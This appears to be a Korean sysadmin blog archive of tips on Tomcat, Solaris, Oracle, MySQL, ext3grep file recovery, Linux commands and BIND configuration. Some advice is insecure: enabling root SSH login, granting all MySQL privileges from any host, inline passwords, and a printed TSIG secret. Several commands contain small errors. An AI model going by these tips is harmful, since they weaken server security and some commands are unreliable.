주의사항은 JDK가 깔려 있어야 한다는 겁니다. 솔라리스는 기본적으로 JDK5가 깔려있습니다.
최신버전을 좋아하는 저는 JDK6으로 업그레이드 했습니다


java -version 쳐서 나오는지 확인하고, 안나오면 설치해야죠 http://java.sun.com/에서 받으세요

http://tomcat.apache.org/
여기서 최신버전 6.0.14버전을 받도록 합시다.
Binary Distributions 인 tar.gz로 받도록 합시다.

gunzip으로 압축풀고, tar로 압축풉시다.

[root][/user/mudchobo/install] gunzip apache-tomcat-6.0.14.tar.gz
apache-tomcat-6.0.14.tar
[root][/user/mudchobo/install] tar xvf apache-tomcat-6.0.14.tar


디렉토리를 생성하여 옮기겠습니다.

[root][/user/mudchobo/install]mv -r apache-tomcat-6.0.14 /usr/local/tomcat/


/usr/local/tomcat/ 폴더로 옮겨놓읍시다. 이제 PATH를 잡아줍시다.(csh기준)

setenv PATH={$PATH}:/usr/local/tomcat/bin

예전에는 CATALINA_HOME도 잡아준거 같은데 안해줘도 되나봐요.
이제 실행해봅시다.
startup.sh를 실행합시다.

[root][/usr/local/tomcat] startup.sh
Using CATALINA_BASE:   /usr/local/tomcat
Using CATALINA_HOME:   /usr/local/tomcat
Using CATALINA_TMPDIR: /usr/local/tomcat/temp
Using JRE_HOME:       /jdk1.6.0_03
[root][/usr/local/tomcat]


웹에서 확인해봅시다.
http://ip주소:8080/ 이후 확인해보세요

야옹이가 나오는지

2009/08/27 11:33 2009/08/27 11:33
1. Shell Script 생성

# cat > /bin/wall
===================================================================
#!/bin/sh

trap "echo Sorry; exit 0" 1 2 3 4 5 6 7 10 15

echo "***********************************************************"
echo "* *"
echo "* You are NOT allowed Telnet Service!!! *"
echo "* *"
echo "***********************************************************"

exit 0
====================================================================

# chmod 755 /bin/wall

2. Shell Script 등록

# cat >> /etc/shells
======================
/bin/ksh
/bin/bash
/bin/csh
/bin/wall
======================

3. /etc/passwd 파일 수정
root:x:0:1:Super-User:/:/bin/ksh
~
temp:x:102:1::/export/temp:/bin/wall <- 수정


4. Telnet 접속 확인

# telnet localhost

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


SunOS 5.8

login: temp
Password:
Last login: Thu Apr 29 18:51:27 from localhost
***********************************************************
* *
* You are NOT allowed Telnet Service!!! *
* *
***********************************************************
Connection closed by foreign host.


5. FTP 접속 확인

# ftp localhost
Connected to localhost.
220 test04 FTP server (SunOS 5.8) ready.
Name (localhost:root): temp
331 Password required for temp.
Password:
230 User temp logged in.
ftp>
2009/08/27 11:33 2009/08/27 11:33

v$filestat로 디스크 I/O 를 확인해보자


v$filestat을 조회하여 각 디스크 파일의 디스크 I/O를 확인 할 수 있습니다


--데이터파일별로 보기

SELECT  PHYRDS,         /* 수행된 물리적 읽기 수 */

             PHYWRTS,      /* 수행된 물리적 쓰기 수 */

             PHYBLKRD,     /* 물리적 블럭 읽기 수 */

             PHYBLKWRT,  /* 물리적 블럭 쓰기 수 */

             READTIM,       /* 읽기에 사용된 시간 */

             WRITETIM,      /* 쓰기에 사용된 시간 */

             NAME
  FROM  v$datafile T1,

            v$filestat T2
WHERE  T1.FILE# = T2.FILE#
;


--테이블 스페이스별로 보기

SELECT TABLESPACE_NAME,

            FILE_NAME,

            PHYRDS,

            PHYWRTS

  FROM  DBA_DATA_FILES T1,

            v$filestat T2

WHERE T1.FILE_ID = T2.FILE#
;



PHYRDS   PHYWRTS  PHYBLKRD   PHYBLKWRT   READTIM   WRITETIM    NAME
5615139     7413446       21309950       7413568           1864856       28843385     /dev/XXX_data01
3433596     2731695       3550527         2731701           987234        11328831     /dev/XXX_index01


읽기나 쓰기 쏠림 디스크가 있다면 적절히 조절해 주는것이 바람직 하다

특히 읽기가 많은 디스크의 경우에는 빠른 I/O를 위해 처리속도가 빠른 디스크에 두는것이 좋다

2009/08/26 17:50 2009/08/26 17:50

MYSQL 서버 캐릭셋이 EUCKR이 아닐경우


클라이언트 설정 파라미터

SET CHARACTER_SET_CLIENT = 'EUCKR';
SET CHARACTER_SET_RESULTS = 'EUCKR';
SET COLLATION_CONNECTION = @@COLLATION_DATABASE;

이후 한글이 잘 들어감

2009/08/26 17:49 2009/08/26 17:49

mysql로 쿼리를 보낼때 쿼리가 max packet size 보다 클경우 오류가 발생한다.


이럴대는 max packet size를 변경하여 쿼리가 실행 될수있도록 하면된다..


하긴 블럽데이터를 스트링으로 때려 넣는 이런 무식한 짓을 하는 人이 나말고 또 있을지는 모르겠지만..


MySql Administrator 툴을 사용해서

Startup variables 의 AdvancedNetworking 에 보면 Data/Memory size에 Max packet size 란 놈이 있다.. 이놈을 살포시 늘려주는 센스!!

2009/08/07 21:27 2009/08/07 21:27

- 무식한 방법(root 권한이 있을 경우)

bash$>mysql -u root -p

password : ************

mysql>use mysql

mysql>update user set Host='%', Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y', Show_db_priv='Y', Super_priv='Y', Create_tmp_table_priv='Y', Lock_tables_priv='Y', Execute_priv='Y', Repl_slave_priv='Y', Repl_client_priv='Y' where User='USER_ID';

- 그랜트를 이용한 방법

모두: grant all privileges on 디비명.* to 계정@"%" identified by '암호';

특정: grant select,insert,update,delete on 디비명.* to 계정@localhost identified by '암호';

- 암호바꾸기

set password for '계정@localhost'=old_password('NEW_PASSWORD');

- 적용시키기

mysql>flush privileges;

   또는

bash$>mysqladmin -u root -p reload

password : ************

2009/08/01 10:36 2009/08/01 10:36

MySQL 의 root 사용자 암호 바꾸기

MySQL 초기 설치시 관리자 암호는 설정 되어져 있지 않다.실질적으로
서비스 할경우엔 반드시 관리자(root) 암호를 설정해야 한다.

root 암호 설정하는 방법에는 3가지가 있다.

1. UPDATE 문 이용하기
2. SET PASSWORD 이용하기
3. mysqladmin 이용하기

▶ UPDATE 문 이용하기

$ mysql -u root mysql

mysql> update user set password=password('new-passwd') where user='root';
mysql> flush privileges;

update 문 이용하여 암호를 변경할땐 꼭 flush privileges; 를 실행
하여 변경된 내용을 적용해야 한다. MYSQL 에서 사용자 권한에 관한
내용은 MYSQL 실행시 메모리에 불러놓고 이용되는데 이에 관해 변경
된 내용이 있을땐 반드시 서버에 변경된 내용을 갱신하라는 명령을
전달해야 한다.


▶ SET PASSWORD 이용하기

mysql> set password for root=password('new-passwd');

이 방법은 flush privileges 가 필요 없다.

mysqladmin 이용하기

root 암호 초기 설정 시 :

$ mysqladmin -u root password new-passwd

root 암호 변경 시 :

$ mysqladmin -u root -p password new-passwd
Enter password: 

2009/08/01 10:35 2009/08/01 10:35

- grant 이용

grant all privileges on 디비명.* to 계정@localhost identified by '암호' with grant option;

flush privileges;

더 간단하게..

grant all on 디비명.* to 계정@localhost identified by '암호';

flush privileges;

계정삭제

revoke all on 디비명 from 계정@localhost

- mysqladmin 이용

mysqladmin -u아이디 -p비밀번호 drop ID

mysqladmin -u아이디 -p비밀번호 creat ID

2009/08/01 10:35 2009/08/01 10:35
MySQL에서 지원하는 데이터타입
  • INT : 4bytes 정수
  • CHAR(n) : 문자의 수가 n개인 문자열
  • VARCHAE(n) : 문자의 수가 최대 n개인 문자열
  • TEXT : 문자의 수가 최대 65535개인 문자열

 

CREATE TABLE (새로운 테이블 생성)

create table 테이블명 (

필드명 데이터타입 [NOT NULL]

{, 필드명 데이터타입 [NOT NULL]}*

[,PRIMARY KEY (필드명)]

)

 

ALTER TABLE(테이블구조 및 속성변경)

기존의 테이블구조 변경

1. 필드추가생성

ALTER TABLE 테이블명 ADD [COLUMN] 필드명 필드타입

예) ALTER TABLE userdb ADD COLUMN addr VARCHAR(100)

 

2. 필드속성변경

ALTER TABLE 테이블명 CHANGE [COLUMN] 기존필드명 새필드명 필드타입

예)ALTER TABLE userdb ADD addr VARCHAE(100)

예) ALTER TABLE userdb CHANGE COLUMN addr address VARCHAR(255)

 

3. 필드삭제

ALTER TABLE 테이블명 DROP [COLUMN] 필드명

예) ALTER TABLE userdb DROP COLUMN address

 

4. 기존의 테이블삭제

DROP TABLE 테이블명

 

  SELECT (데이터검색하기)

SELECT [DISTINCT] 테이블명 {, 테이블명}*

FROM 필드명 {,필드명}*

[WHERE 검색조건]

[ORDER BY 필드명[ASC or DESC] {,필드명 [ASC or DESC]}*]

[GROUP BY 필드명 {, 필드명}*]

[HAVING  검색조건]

 

1. 일반적인 검색

SELECT name, id FROM userdb WHERE level = 'B'

SELCET * FROM userdb

SELECT name, id, email, sex, milage, level FROM userdb

 

2. 결과레코드의 중복제거

SELECT level FROM userdb

SELECT DISTINCT level FROM userdb

 

3. 조건검색

SELECT name, id, email FROM userdb WHERE milage > 3000 AND sex = 'M'

 

4. 검색결과의 정렬

SELECT name, id, milage FROM userdb WHERE milage >= 3000 ORDER BY milage DESC

 

5. 검색결과에 대한 산술계산 및 문자열처리

SELECT name, '님의 마일리지는 ', milage, '점입니다.' FROM userdb WHERE milage >= 3000 ORDER BY milage

SELECT name, id, email, milage+300 FROM userdbWHERE id = 'soony'

 

6. 그룹함수(group function)를 이용한 검색

SELECT count(*) FROM userdb WHERE sex = 'F'

SELECT avg(milage) FROM userdb WHERE sex='F'

 

7. GROUP BY를 이용한 검색

SELECT level, max(milage), min(milage), avg(milage) FROM userdb GROUP BY level

SELECT sex, max(milage), min(milage), avg(milage) FROM userdb GROUP BY sex

 

8. HAVING을 이용한 검색

SELECT sex, max(milage), min(milage), avg(milage) FROM userdb GROUP BY sex HAVING sex = 'F'

 

9. BETWEEN 연산자를 이용한 검색

SELECT name, email, mailage, sex FROM userdb WHERE sex = 'F' AND milage BETWEEN 3000 AND 4000

SELECT name, email, milage, sex FROM userdb WHERE sex = 'F' AND milage >= 3000 AND milage <= 4000

SELECT name, sex, milage FROM userdb WHERE milage NOT IN (3300,3500,3700)

 

10. LIKE를 사용한 검색

SELECT name FROM userdb WHERE name, LIKE '%현%'

SELECT name, id, FROM userdb WHERE id LIKE 'm%'

 

11. NULL값을 갖는 데이터검색

SELECT name, id FROM userdb WHERE email IS NULL

SELECT name, id FROM userdb WHERE email IS NOT NULL

 

  INSERT (새로운 데이터의 삽입)

INSERT INTO 테이블명 [(필드명{[, 필드명]}*)] VALUES (필드값)

INSERT INTO userdb (name, id, email, sex, milage, level) VALUES ('이완철', 'yunka1018','sspark@kornet.net'.'M','3500','B')

INSERT INTO userdb VALUES('이완철', 'yunka1018','sspark@kornet.net','M','3500','B')

INSERT INTO userdb (id, name) VALUES('yunka1018','정양미')

 

  데이터의 수정(UPDATE)

UPDATE 테이블명 SET 필드명=필드값 또는 산술식 {, 필드명 = 필드값 또는 산술식}*[WHERE 검색조건]

 

UPDATE userdb SET sex = 'F' WHERE name = '김현아'

UPDATE userdb SET sex = 'F'

만일 위와 같이 WHERE절로 검색조건을 명시하지 않은 경우에는 해당테이블내의 모든레코드의 필드값이 설정한값으로 수정되므로 유의해야한다.

UPDATE userdb SET sex = 'F'

UPDATE userdb SET milage = milage + 300

 

  DELETE (데이터의 삭제)

DELETE FROM 테이블명 [WHERE 검색조건]

DELETE FROM userdb WHERE id = 'king94'

DELETE FROM userdb

만일 위와 같이 검색조건을 지정하지 않으면 해당테이블내의 모든레코드가 삭제되므로 주의해야한다.

 

  MYSQL 데이터베이스의 사용법

1. MYSQL서버의 기동과 종료

이하 디렉토리위치는 /usr/local/mysql/bin이다.

./bin/safe_mysql &

 

2. MYSQL서버의 종료 및 재기동

safelab.skku.ac.kr.pid파일은 MYSQL의 PID를 저장하고 있다.

kill -9 PID

mysqladmin -u root  -p shutdown

mysqladmin -u root -p reload

 

3. mysqladmin 사용법

mysqladmin -u root  -p reload

mysqladmin -u root -p create sample

mysqladmin -u root -p drop sample

 

4. mysql 클라이언트사용법

mysql -u root -pphp99 mysql

mysql -u root -p mysql

mysql>show databases;

mysql>show tables;

mysql>show columns from db;

mysql>desc db;

mysql>select host, user, password from user;

mysql>update user set password = password('php99') where user = 'root';

mysql>select host, user, password from user;

mysql>drop database sample;

 

5. 생성된 데이터베이스의 등록

mysql>insert into db values('%','sample','php','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y');

mysql>select host, db, user from db;

 

6. 새로운 사용자(데이터베이스 소유자)등록

mysql>insert into user (host, user, password) values('localhost','php','password('php99'));

mysql>select host, user, password from user;

 

7. 테이블의 생성과 수정 및 삭제

mysql -u root -p sample

mysql>show tables;

mysql>desc userdb;

mysql>alter table userdb change column id varchar(12) NOT NULL;

mysql>desc userdb;

mysql>drop table userdb;

mysql>show tables;

 

8. *.sql파일로 쉘에서 SQL명령어 실행

mysql -u root -p php99  sample < userdb.sql

mysql -u php -p sample

mysql>show tables;

 

9. 데이터의 백업과 복구

mysqldump -u [DB사용자명] -p [백업할 데이터베이스명] > [외부로 저장할 파일명]

mysqldump -u php -p sample > sample_backup.sql

cat sample_backup.sql

mysql -u php -p php99 sample < sample_backup.sql

2009/08/01 10:34 2009/08/01 10:34

mysqldump 를 이용한 MySQL DB전체 백업 명령 (3가지 명령 중 맘에 드는걸로)

  mysqldump -u root -p --all-databases > all_databases.sql

  mysqldump -u root -p -A > all_backup.sql

  mysqldump --opt -A -u root -ppassword > all_backup.sql


잠긴 테이블까지 백업

  mysqldump -u 아이디 -p --lock-all-tables DB명 > 파일명.sql

두개 이상의 DB를 선택 백업

  mysqldump -u 아이디 -p --databases DB명1 DB명2 > 파일명.sql

두개 이상의 테이블만 선택 백업

  mysqldump -u 아이디 -p DB명 --tables 테이블명1 테이블명2 > 파일명.sql

캐릭터셋 지정 백업

  mysqldump -u 아이디 -p --default-character-set=euckr DB명 > 파일명.sql

응용 : 두개의 DB만 euckr문자셋으로 잠긴테이블까지 백업

  mysqldump -u root -p --default-character-set=euckr --lock-all-tables --databases 디비명1 디비명2 > 파일명.sql

2009/08/01 10:32 2009/08/01 10:32
얼마전에 저는 정말 절망 속에서 있었습니다.
지난 3개월간 작업한 모든 데이타를 rm -rf 로 날려버렸고.
백업도 2달 전에 해놓은거라. .;; 진짜 암담한 상황이었습니다.

몇몇 지인분들께 여쭤봐도 "포기해~ 그게 정신건강에 좋아" 라는 얘기만 들었습니다.

그러다가 보게 된. http://kldp.org/node/103288

하던중 큰 시행착오는 없었고 저 문서대로만 하면되는데.
umount 하는데 ;; 문제가 많이 발생했습니다. 아래 차근 차근 설명을 쓰겠습니다.

제가 사용하는 centOS 에서만 그런지 모르겠지만.
옵션이 "-" 문자가 아니라 "--" 문자로 해야 작동을 했습니다.
--help 쳐보면 옵션 나오죠^^
저처럼 아무것도 모르는 초짜를 위해서 말씀드리자면.

저 링크에 있는 파일 받아서 설치하기 위해선
1-      ./configure (물론 압축풀린 곳에서)
2-      make
3-      make install

요렇고롬 해주면 됩니다.
패키지로도 되어있다고 하니깐. 우분투 패키지 관리자에서 잘 찾아보시길.

ext3grep 입니다.


설치후에 umount 해주니

device 가 아직 작동중이랍니다.

그래서 fuser -km /dev/sda6 (제 파티션 장치가 /dev/sda6입니다)
해서 연결된 장치를 지워주니 ssh 가 끊깁니다.;

원인인 즉슨, 제가 일반 유저로 로그인해서 su - 로
최고관리자 권한을 가져서 인데

이건
vi /etc/ssh/sshd_config
PermitRoot no <--- yes
/etc/init.d/sshd restart

요렇고롬 세팅 해주면 됩니다.

그런 문제없이 자연스레 umount 가 되시는 분은 그냥 넘어가십시요.

그다음 ext3grep –-dump-names --after=12146454 /dev/sda6
  위의 숫자는 unix time 입니다. php에서 mktime(시,분,초,월,일,연)
  해주면 쉽게 구할 수 있죠.(다른 방법있다면 그걸 선택하세요)

여튼 전 history 명령으로 제가 rm -rf 를 친 그 시점에대해서 복구하려고 위의
세팅을 맞췄습니다.


저렇게 하면 sdb1.ext3grep.stage1 와 sdb1.ext3grep.stage2
파일 비스므레한 파일이 생깁니다. ( 시간이  꽤 걸렸습니다 저는. 한시간 반정도?)
앞에껀 inode 정보 뒤에껀 디렉토리 정보죠.
사람이 읽을 수 있는건 뒤에꺼고요. 필요한건 두파일 모두입니다.

건들진 마세요. 그냥 두시면됩니다.


그다음 --restore-all  옵션과 --after 옵션으로
위에서 가져온 정보에 대해서 복구를 합니다. 다시 재차 조회해 오진 않으므로
시간소요는 적습니다.



이렇게 해서 제가 실행한 위치에 /RESTORE~~~~~ 어쩌구 폴더가 생기면서

그곳에 제 파티션의 파일들이 복구가 되었습니다. ^^ 아 사랑스러워. ^^

그 다음 다시 이 디바이스를 해당 폴더에 mount 시켜주고 복구된 파일을 /RESTORE 에서
원래의 장소로 복사해주면 끝.


정말...ㅜ.ㅜ 눈물을 머금고 처음부터 재작업을 하려고 했는데

이런걸 알게되다니... 위의 글을 써주신 분께 다시한번 감사를.


설명이 좀 부족해서 말이 엉킬수도 있겠네요.

여튼. ^^ 도움이되셨으면 좋겠습니다.
2009/07/16 19:38 2009/07/16 19:38

자주쓰는 리눅스명령어 요약

<사용자 관련>

 adduser [계정이름] : 계정생성
 passwd [계정이름] : 해당계정의 비번변경
 userdel -r [계정이름] : 계정삭제 및 계정의 파일폴더 모두 삭제(-r)
 w : 현재 사용중인 사용자
 last : 최근 이용한 접속자

<파일/디렉토리>

 ll : 전체폴더구조 보기
 ls : 폴더구조 간단히 보기
 ls -al : 숨긴파일 까지 다 보기
 ls [디렉토리명] : 해당 디렉토리보기
 ls [파일명 또는 일부] : 해당되는 파일만 보여주기
 
 cd : 디렉토리 이동
 
 chmod 755 [디렉토리] : 파일권한변경 (내꺼, 같은그룹, 전체)
 
 mkdir [디렉토리] : 디렉토리생성
 mkdir -p a/b : a디렉토리 생성후 하위에 b디렉토리 생성
 rm [파일명] : 파일삭제
 rmdir [디렉토리명] : 디렉토리삭제 (파일존재시 삭제 불가)
 rm -rf [디렉토리명] : 하위 디렉토리 및 파일 까지 모두 삭제
 
 touch [파일명] : 해당파일의 수정일을 현재시각으로 변경(파일없을시 빈파일 생성)
 
 cp [파일1] [파일2] : 파일1을 파일2로 복사
 cp -r [디렉토리1] [디렉토리2] : 디렉토리1을 디렉토리2로 하위폴더와 파일까지 복사
 cp -a [파일1] [파일2] : 소유권을 유지하면서 복사
 move [파일/디렉토리] [디렉토리] : 파일 및 디렉토리 이동
 
 cat [파일명] : 파일내용 출력
 cat /dev/cdrom > linux.iso : CD롬에 있는 내용을 CD 이미지 파일로 만듦
 cat a.txt >> b.txt : b.txt 파일 하단에 a.txt 파일의 내용 추가
 
 more [파일명] : 파일내용을 페이지단위로 출력 (space:다음페이지, b:이전페이지)
 
 ln [해당디렉토리 또는 파일] [링크이름] : 하드링크
 ls -s [해당디렉토리 또는 파일] [링크이름] : 심볼릭링크
 
 | : 파이프로 두개의 명령을 연결시켜줌
 (예: ls -l /usr/bin | more : ls에서 검색된 파일 폴더를 페이지별로 보여줌)
 
 파일권한 (자신/그룹/나머지: 4:읽기, 2:쓰기, 1:실행)
 chown -R ohhappy.wheel /home/ohhappy/* : /home/ohhappy하위의 모든 파일 디렉토리의 소유자를 ohhappy로 그룹을 wheel로 변경
 
 mount -t iso9660 /dev/cdrom /mnt/cdrom : cdrom 마운트
 mount -t vfat /dev/fd0 /mnt/floppy : floppy 마운트
 umount /dev/cdrom 또는 umount /mnt/cdrom
 
 하드디스크 추가시
 fdisk /dev/hdb (프라이머리 슬레이브 하드의 파티션 결정
 mkfs.ex2 /dev/hdb1 (hdb1 파티션 포맷)
 fsck.ext2 /dev/hdb1 (파일시스템 점검)
 mount -t ext2 /dev/hdb1 /data (/data 디렉토리에 마운트)
 vi /dev/fstab (에 마운트 기록, 부팅시 인식)
 
 
<검색>

 find [경로] -name [파일명] : 하위경로의 파일찾기
 /[찾을 문서명] : 문서나 메뉴얼안에서 문자찾기
 which [명령어] : 명령어의 절대경로를 알려줌
 whereis [명령어] : 명령어의 바이너리, 소스, 맨페이지위치 알려줌
 
 
<시스템/프로세스 관련>

 top : 시스템 프로세스 및 메모리 및 CPU 사용량
 uname -a : 운영체제,호스트명,커널버전,시스템부팅시간,아키텍쳐 보여줌
 uname -m : cpu 보여줌
 free -m : 메모리 보여줌(-m 메가단위, -k kb단위)
 df -h : 마운트되어있는 디스크 사용량
 du --max-depth=1 -h /home : 각 계정별로 이용량 확인
 lsdev : 현재 사용중인 장치정보
 w : 현재 사용중인 사용자
 last : 최근 이용한 접속자
 date : 현재 설정된 시간
 clock : Cmos에 설정된 시간
 rdate -s soback.kornet.nm.kr : soback.kornet.nm.kr에서 시간을 전송받아 시간 수정
 clock -w : cmos 시간으로 수정
 netstat -tu : 시스템에 연결된 소켓정보
 ifconfig : 네트웍 장치설정 정보
 
 ps -[옵션]: 현재 시스템에서 구동중인 프로세스 상태확인
 (-a:전체사용자, -l:자세히보기, -x:제어터미널이 없는 프로세스, -f:pstree명령어와 같은 프리구조로 출력)
 (상태값: D:구동일시중지중, R:구동중, S:쉬는중, T:구동정지중, Z:좀비프로세스, W:메모리를 안쓰는 스와핑상태)
 ps auxfw -width=300 : 프로세스의 사용자 확인 (주로 | more 필요)
 pstree : 구동중인 프로세스를 투리구조로 보여줌
 
 kill -9 [프로세스번호] : 프로세스 강제종료
 killall -9 [프로세스이름] : 프로세스 강제종료
 
<시스템 종료>

 shutdown -h now : 시스템 종료 (-k : 메시지만전달, -r : 재부팅, -h : 셧다운후 종료 -c:셧다운중지)
 halt : 시스템 종료
 shutdown -r now : 시스템 재부팅
 reboot : 시스템 재부팅
 shutdown -k '지금시스템을 종료합니다.' : 시스템 종료 메시지 송부
 
<압축>

 tar cvf [생성될 파일명:예 httpd.tar] [묶을 디렉토리] : 설정한 디렉토리를 포함한 하위 디렉토리 및 파일을 묶음
 tar xvf [묶인파일:예 httpd.tar] : tar파일을 현재 디렉토리에 품
 tar tvf [묶인파일:예 httpd.tar] : tar파일을 풀지 않고, 파일리스트만 출력
 tar cvfz [압축파일명 :예 httpd.tar.gz] [압축할 디렉토리] : 파일을 묶어서 압축함
 tar xvfz httpd.tar.gz : tar.gz 압축해제
 tar xvfj httpd.tar.bz2 : tar.bz2 압축해제
 
<보안암호파일 생성>

 htpasswd -c [생성될 파일명] [계정이름] : 암호화된 계정생성명령
 
<RPM>
  
   rpm -ivh [패키지 파일명] : rpm 패키지 설치
   rpm -Uvh [패키지 파일명] : rpm 패키지 업그레이드
   rpm -e [패키지명] : rpm 패키지 삭제
   rpm -qa : 현재 설치되어있는 패키지 리스트
   rpm -qa | grep [패키지명] : 패키지명 단어가 포함된 패키지 출력
   rpm -ql [패키지명] : 패키지가 설치한 파일 리스트
   rpm -qlp [패키지파일명] : 패키지 설치전 설치될 파일목록
   rpm -qf [파일명(절대경로)] : 어느패키지가 설치한 파일인지 표시
   rpm -qi [패키지명] : 패키지 정보 출력
   rpm -qip [패키지파일명] : 설치할 패키지 정보 출력
   rpm -Va : 패키지 검증
   
<ncftp>

 ncftp -u [아이디] [접속주소] : ncftp 로그인
 quit : ftp 종료
 get : 다운로드 명령
 mget : 현재폴더내 모든 파일 다운로드
 mget -R * : 현재폴더 및 하위 폴더 파일 다운로드

<DB 자동백업>

 1단계. (vi /etc/crontab) 다음줄 추가
 
 30 4 * * * root run-parts /etc/cron.mysqldump
 (분 시 일 월 주 사용자권한 실행부분 실행디렉토리, 매일 4시 30분실행)
 (22 4 * * 0 매주 일요일(0) 4시 22분 실행)
 (42 4 1 * * 매월 1일 4시 42분 실행)
 
 2단계. 해당 디렉토리생성
 mkdir /etc/cron.mysqldump
 
 3단계. 해당 디렉토리에 실행할 내용이 들어있는 파일 생성
 vi mysqldump.0709.sh*
 내용입력
 
 #!/bin/bash

 . /etc/profile 
 
 TimeOfDay=`date +"%Y%m%d.%H%M"`
 mkdir -p /etc/cron.mysqldump/DATA/${TimeOfDay}
 UUSER="root"
 PPASS=""

 /usr/local/mysql/bin/mysqldump -u${UUSER} devbank > /etc/cron.mysqldump/DATA/${TimeOfDay}/devbank.sql
 /usr/local/mysql/bin/mysqldump -u${UUSER} designter > /etc/cron.mysqldump/DATA/${Time0fDay}/designter.sql 

<디렉토리별 구분>

 /bin : 기본 명령어가 위치
 /boot : 커널이미지가 존재
 /dev : 장치를 사용할때 필요한 특수파일이 위치
        (hda,hdb,hdc,hdd:하드,CDROM fd0:플로피 ttyS0,ttyS1..:com포트 sda,sdb..:스카시장치 lp0:프린터)
 /etc : 애플리케이션 및 서버 프로그램의 환경설정에 필요한 설정파일 저장
 /usr : 리눅스 바이너리 프로그램을 설치하는 곳, 패키지 설치시 대부분 이곳에 저장
 /home : 각 계정의 이용자가 사용하는 공간
 /lib : 부팅과 시스템 운영에 필요한 공유라이브러리 및 커널 모듈저장
 /lost+found : 파일시스템이 이상일 있을때 구동되는 fsck 명령에 의해 사용됨 (평소에 빈폴더임)
 /mnt : CDROM,플로피등의 장치의 마운트 포인트를 제공함
 /opt : 덩치가 너무 큰 몇몇 리눅스 패키지를 설치할때 사용함
 /proc : 가상파일 시스템으로 프로세스와 시스템 정보를 제공. 파일명으로 존재하는 디렉토리는 커널정보를 숫자로 존재하는 디렉토리는 현재 실행되고 있는 프로세스의 정보를 담고 있음.
 /root : root의 홈디렉토리. 가능한 많은 데이터를 저장하지 않는 것이 좋음
 /sbin : 시스템 운영에 사용되는 명령어가 들어있음
 /chroot : 프로그램을 감옥환경에서 돌릴때 루트공간
 /chache : 플락시 서버 돌릴때 필요한 공간
 /var : 시스템의 로그파일이 저장되는 곳, 가변자료들이 저장, 로그, 스풀, mysql db등
 /tmp : 템프파일,시스템재구동시 모두 삭제됨, 프로세스 진행중 필요에 의해 임시로 저장

<명령어 도움말>

 man [명령어] : 명령어에 해당하는 도움말
 (man 페이지 안에서 /[검색어]는 해당단어검색, n은 다음 검색단어, q는 man 종료)
 
 /usr/share/man : man 파일 저장위치
 man1 : 사용자프로그램
 man2 : 시스템 호출명령어
 man3 : 라이브러리 함수 및 서브루틴
 man4 : /dev 디렉토리에 포함된 특수파일
 man5 : 파일 포맷
 man6 : 게임
 man7 : 분류에 포함되지 않는 기타 프로그램
 man8 : 시스템 관리 명령어
 man9 : 커널관련 명령어
 mann : Tcl/Tk  내장 명령어
 
<네임서버 실행>

 vi /etc/named.conf : 네임서버 설정파일
 vi /var/named/[각파일] : 네임서버 설정파일
 /etc/rc.d/init.d/named restart : 네임서버 재실행
 
<네임서버설정>

    1. /etc/named.conf 파일을 설정한다.
     
    case 1.
    <!--
 // generated by named-bootconf.pl

 options {
   directory "/var/named";  (지정한파일이 어느 디렉토리에 위치하는 지를 보여줌)
         check-names master warn;
         dump-file "/var/tmp/named_dump.db";
          statistics-file "/var/tmp/named.stats";
          forwarders {
                         168.126.63.1;
                        164.124.101.2;
                        };
  /*
    * If there is a firewall between you and nameservers you want
    * to talk to, you might need to uncomment the query-source
    * directive below.  Previous versions of BIND always asked
   * questions using port 53, but BIND 8.1 uses an unprivileged
   * port by default.
   */
  // query-source address * port 53;
 };
   
    (최상위 도메인 . 에 대한 정보를 제공함, named.ca는 최상위 도메인 목록제공)
 zone "." {
  type hint;
  file "named.ca";
 };
 
 (루프백 장치설정을 제공하는 영역)
 zone "0.0.127.in-addr.arpa" {
  type master;
  file "named.local";
 };
 
 (호스트 명을 저장할 파일명을 설정)
 zone "eoholdings.co.kr" {
        type master;  (1차네임서버인경우 master, 2차인경우 slave로 설정)
        file "eoh.zone"; (파일 이름 설정)
 };
    -->
   
    case 2.
   
    <!--
    // generated by named-bootconf.pl

 options {
  directory "/var/named";(지정한파일이 어느 디렉토리에 위치하는 지를 보여줌)
  /*
   * If there is a firewall between you and nameservers you want
   * to talk to, you might need to uncomment the query-source
   * directive below.  Previous versions of BIND always asked
   * questions using port 53, but BIND 8.1 uses an unprivileged
   * port by default.
   */
  // query-source address * port 53;
 };

 (최상위 도메인 . 에 대한 정보를 제공함, named.ca는 최상위 도메인 목록제공)
 zone "." IN {
  type hint;
  file "named.ca";
 };

 (루프백 장치설정을 제공하는 영역)
 zone "0.0.127.in-addr.arpa" IN {
  type master;
  file "named.local";
  allow-update { none; };
 };
 
 (호스트 명을 저장할 파일명을 설정)
 zone "hanter21.co.kr" IN {
  type master;
  file "hanter21.co.kr";
  allow-update { none; };
 };
 
 zone "13.233.211.in-addr.arpa" IN {
  type master;
  file "hanter21.rev";
  allow-update { none; };
 };

 key "key" {
  algorithm hmac-md5;
          secret "dHlNPdoeCpUMAONBoWbYPPJzYAcXOeIUBjnTLKlFHMTgXDTvMQZvzwqdx0MB";
 };
 -->
 
 2. /var/named에 각 도메인별 네임서버 설정파일을 만든다
 
 case 1.
 
 <!--
  @       IN      SOA     ns.devbank.co.kr. master.devbank.co.kr.  (
                                        1997022701 ; Serial
                                        28800      ; Refresh
                                        14400      ; Retry
                                        3600000    ; Expire
                                        0 )    ; Minimum
                IN      NS     devbank.co.kr.
                IN      A      211.233.13.196
                IN      NS     ns.devbank.co.kr.
 
                IN      MX     10 mail.devbank.co.kr.
  @             IN     A       211.233.13.196
  ns            IN     A       211.233.13.196
  mail          IN     A       61.82.82.118
  ftp           IN     A       211.233.13.196
  www           IN     A       211.233.13.196
 -->
 
 case 2.
 
 <!--
     (생존시간)
  $TTL 0
  $ORIGIN hanter21.co.kr.
  (@는 named.conf에서 정의한 도메인명을 대신)
  (SOA는 권한의 시작)
  (NS는 네임서버 역할)
  (MX는 메일호스트)
  (A는 호스트)
  @       IN      SOA     ns.ns.hanter21.co.kr. root.hanter21.co.kr.(
                                        1997022701 ; Serial
                                        28800      ; Refresh
                                        14400      ; Retry
                                        3600000    ; Expire
                                        0 )    ; Minimum
    IN   NS   ns.hanter21.co.kr.
    IN  MX   10 mail.hanter21.co.kr.
  @   IN   A   211.233.13.196
  www  IN   A   211.233.13.196
